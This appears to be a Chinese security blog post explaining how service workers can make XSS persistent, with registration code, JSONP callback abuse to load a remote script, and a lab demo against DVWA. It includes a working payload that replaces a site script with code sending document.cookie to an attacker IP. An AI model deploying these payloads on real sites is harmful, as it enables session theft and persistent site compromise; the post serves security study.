service worker

service worker是一种特殊的web worker,web worker的作用是什么。

Web Worker为Web内容在后台线程中运行脚本提供了一种简单的方法。线程可以执行任务而不干扰用户界面。一旦创建, 一个worker 可以将消息发送到创建它的JavaScript代码, 通过将消息发布到该代码指定的事件处理程序(反之亦然)。

service worker是一个注册在指定源和路径下的事件驱动worker。它采用JavaScript控制关联的页面或者网站,拦截并修改访问和资源请求,细粒度地缓存资源。你可以完全控制应用在特定情形(最常见的情形是网络不可用)下的表现。

并且由于service worker工作于worker上下文,因此它不能访问DOM。线程独立于浏览器主线程,并且与当前的浏览器主线程完全隔离,并且可以用 JS 代码来拦截浏览器当前域的 HTTP 请求,故该特性为XSS的持久化实现提供了基础。

当然由于service worker的功能,出于安全考虑,有一些限制。

  1. 只能注册同源下的js
  2. 网站必须是https://或者http://localhost/
  3. content-type 为 */javascript
  4. Worker 线程不能获得下列对象:DOM对象,Windows对象,document对象,parent对象。

注册service worker

参考:https://developer.mozilla.org/zh-CN/docs/Web/API/ServiceWorkerContainer

注册

service worker的注册方式

ServiceWorkerContainer.register(scriptURL, options)
navigator.serviceWorker.register(scriptURL, options) #返回一个ServiceWorkerContainer对象。

例如一个示例代码:

if ('serviceWorker' in navigator) {
  navigator.serviceWorker.register('service-worker.js', {scope: './'})
  .then(function(registration) {
    document.querySelector('#status').textContent = 'succeeded';
  }).catch(function(error) {
    document.querySelector('#status').textContent = error;
  });
} else {
  // The current browser doesn't support service workers.
  let aElement = document.createElement('a');
  aElement.href = `
     http://www.chromium.org/blink/serviceworker/service-worker-faq
  `;
  aElement.textContent = 'unavailable';
  document.querySelector('#status').appendChild(aElement);
}

响应事件

worker注册完成后,需要监听fetch事件来达到篡改返回,对页面嵌入恶意的srcipt脚本。

self.addEventListener('fetch', function(event) {
//worker context
});

利用respondwith来自定义返回的响应代码。其中包含Response对象的代码。

function(e){
    e.respondWith(
        new Response('<script>alert(document.domain)</script>',
            {headers: {'Content-Type':'text/html'}}
        )
    )
}

返回一个html的内容。

利用

由于service worker存在的一定的限制,需要绕过同源,所以这里最方便的就是使用jsonp。因此需要一个jsonp的接口,并且这个接口的参数可操纵。

所以在注册的时候,需要一个jsonp的调用,例如

navigator.serviceWorker.register('/a.php?callback=alert(1)');

结合上面的响应,importScripts导入远程js文件。

navigator.serviceWorker.register('/a.php?callback=importScripts("https://xx/test.js")');
​
//test.js
self.addEventListener('fetch', function(event) {
    event.respondWith(
        new Response('<script>alert(document.domain)</script>',
            {headers: {'Content-Type':'text/html'}}
        )
    )
});

本地调试一下,先本地导入这个js文件。

image-20210607140129968

在刷新一下页面

image-20210607140401009

在谷歌浏览器下,执行chrome://serviceworker-internals查看已经注册的service worker。能看到一个正在运行的service worker。

image-20210607140448999

同样,在没有jsonp可以利用的地方,就需要查找是否有可利用的上传点,上传一个js脚本上去。直接在同源下利用即可。

如果需要无感反馈,但是service worker并不能操作document,Window对象。如下是模拟一个请求,每次触发响应的时候都会跨域发送一个请求到指定地址,但并不能携带敏感信息。

self.addEventListener('fetch', function(event) {
  console.log('Handling fetch event for', event.request.url);
​
  event.respondWith(
    caches.match(event.request).then(function(response) {
      const url='http://192.168.30.179:8888/';
      const othePram={
          headers:{
              "content-type":"text/plain"
          },
          method:"GET",
          mode: 'cors',
          credentials:'include'
      };
      fetch(url, othePram)
      .then(res=>console.log(res))
      console.log('No response found in cache. About to fetch from network...');
​
      return fetch(event.request).then(function(response) {
        console.log('Response from network is:', response);
        return response;
      });
    })
  );
});

image-20210607162103258

这里采用监听返回的url为特定地址的话返回修改的response。比如使用如下代码

self.addEventListener('fetch', function (event) {
        event.respondWith(
        caches.match(event.request).then(function(response){
            console.log(fetch(event.request));
            var url = event.request.clone();
            if (url.url=='http://localhost/dvwa/dvwa/js/dvwaPage.js'){
                
                return new Response("var httpRequest = new XMLHttpRequest();httpRequest.open('GET', 'http://192.168.30.179:8888/'+document.cookie, true);httpRequest.send();")
            }else{
                return fetch(event.request).then(function(response) {
                console.log('Response from network is:', response.url);
​
                return response;
              }, function(error) {
                console.error('Fetching failed:', error);
​
                throw error;
              });
            }
        })
        )
   });

监听是否是指定的地址,此处使用一个脚本文件,在脚本中返回一个请求来触发。但只是这样的话会破坏一个js的使用,所以可以返回原js文件的同时,再添加一个恶意的js代码到其中。

image-20210607173505261

参考文章

https://paper.seebug.org/177/

https://xz.aliyun.com/t/8679

http://zerobs.top/2020/11/15/71.html

https://yanluow.github.io/2020/10/21/xss%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%A5%E5%8F%8A%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%912020hardxss





# web安全  

tocToc: